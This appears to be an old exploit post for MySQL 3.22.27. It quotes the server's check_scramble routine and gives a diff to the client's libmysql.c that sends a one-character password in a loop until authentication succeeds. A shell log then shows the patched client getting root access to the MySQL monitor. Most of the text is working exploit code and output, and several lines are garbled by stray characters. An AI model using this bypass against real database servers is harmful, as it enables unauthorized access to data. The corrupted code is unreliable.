my_bool check_scramble(const char *scrambled, const char *message,
ulong *hash_pass, my_bool old_ver)
{
      ......
      while (*scrambled)
      {
            if (*scrambled++ != (char) (*to++ ^ extra))
            return 1; ?* Wrong password */
      }
      return 0;
}
......

ABCDEFGHIGKLMNOPQRSTUVWXYZ\_][]@^

......
MYSQL * STDCALL
mysql_real_connect(MYSQL *mysql,const char *host, const char *user,
const char *passwd, const char *db,
uint port, const char *unix_socket,uint client_flag)
{
......
DBUG_PRINT("info",("user: %s",buff+5));

?br> ?br> end=scramble(strend(buff+5)+1, scramble_buff, passwd,
?my_bool) (mysql->protocol_version == 9));
if (db && (mysql->server_capabilities & CLIENT_CONNECT_WITH_DB))
{
......

MYSQL * STDCALL
mysql_real_connect(MYSQL *mysql,const char *host, const char *user,
const char *passwd, const char *db,
uint port, const char *unix_socket,uint client_flag)
{
      ......
      DBUG_PRINT("info",("user: %s",buff+5));
      ?br> /*
      end=scramble(strend(buff+5)+1, scramble_buff, passwd,
      ?my_bool) (mysql->protocol_version == 9));
      ?/
      end = strend(buff+5) +1 ;
      *end = 'A';
      end ++;
      *end = '\0'; ?br>
      if (db && (mysql->server_capabilities & CLIENT_CONNECT_WITH_DB))
      {
            ......
      }

libmysql.c.diff
8<-----8<-----8<-----8<---- cut here ---8<-----8<-----8<-----8<-----8<----
--- mysql-3.22.27/client/libmysql.c Wed Oct 6 00:37:25 1999
+++ mysql-3.22.27_new/client/libmysql.c Tue Feb 13 14:12:37 2000
@@ -46,6 +46,8 @@
uint mysql_port=0;
my_string mysql_unix_port=0;
+uint trynum=0;
+
#define CLIENT_CAPABILITIES (CLIENT_LONG_PASSWORD | CLIENT_LONG_FLAG | CLIENT_LOCAL_FILES)
#if defined(MSDOS) || defined(__WIN32__)
@@ -985,13 +987,13 @@
}
-/*
+/*
** Note that the mysql argument must be initialized with mysql_init()
** before calling mysql_real_connect !
*/
MYSQL * STDCALL
-mysql_real_connect(MYSQL *mysql,const char *host, const char *user,
+mysql_real_connect_orig(MYSQL *mysql,const char *host, const char *user,
const char *passwd, const char *db,
uint port, const char *unix_socket,uint client_flag)
{
      @@ -1276,8 +1278,15 @@
      else
      read_user_name((char*) buff+5);
      DBUG_PRINT("info",("user: %s",buff+5));
      - end=scramble(strend(buff+5)+1, scramble_buff, passwd,
      - ?my_bool) (mysql->protocol_version == 9));
      +/* We skip the step that create valid passwd .:) ?- warning3 */
      + //end=scramble(strend(buff+5)+1, scramble_buff, passwd,
      + // ?my_bool) (mysql->protocol_version == 9));
      + trynum++;
      + printf("Trying %d times\n",trynum);
      + end = strend(buff+5) +1 ;
      + ?end = 'A'; /* We just send one character as password */
      + end ++;
      + ?end = '\0';
      if (db && (mysql->server_capabilities & CLIENT_CONNECT_WITH_DB))
      {
            end=strmov(end+1,db);
            @@ -1286,7 +1295,7 @@
      }
      if (my_net_write(net,buff,(uint) (end-buff)) || net_flush(net) ||
      net_safe_read(mysql) == packet_error)
      - goto error;
      + return NULL; /* If login failed,we return NULL */
      if (client_flag & CLIENT_COMPRESS) /* We will use compression */
      net->compress=1;
      if (db && mysql_select_db(mysql,db))
      @@ -1317,6 +1326,23 @@
      DBUG_RETURN(0);
}
+/*
+** We make one fake mysql_real_connect() function,it will "brute force"
+** to guess the right password until succeed ! ?- warning3
+*/
+
+MYSQL * STDCALL
+mysql_real_connect(MYSQL *mysql,const char *host, const char *user,
+ const char *passwd, const char *db,
+ uint port, const char *unix_socket,uint client_flag)
+{
      + MYSQL *res;
      +
      + while (!(res=mysql_real_connect_orig(mysql,host,user,passwd,db,port,unix_socket,client_flag)));
      + printf("\nooOH,We come in! ;-)\n\n");
      + return res;
      +
+}
static my_bool mysql_reconnect(MYSQL *mysql)
{
>8----->8----->8----->8---- cut here --->8----->8----->8----->8----->8----
[warning3@warninng3 warning3]$ ls -ld libmysql.c.diff mysql-3.22.27
-rw-rw-r-- ? warning3 warning3 ?409 Feb 13 14:24 libmysql.c.diff
drwxrwxr-x 21 warning3 warning3 ?096 Oct 6 06:36 mysql-3.22.27/
[warning3@warninng3 warning3]$ patch -p0 patching file `mysql-3.22.27/client/libmysql.c'
[warning3@warninng3 warning3]$ cd mysql-3.22.27
[warning3@warninng3 mysql-3.22.27]$ ./configure;make;cd client;
[warning3@warninng3 client]$ ./mysql -uroot -pblahblah
Trying 1 times
Trying 2 times
Trying 3 times
Trying 4 times
Trying 5 times
Trying 6 times
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 539 to server version: 3.22.27
Type 'help' for help.
mysql>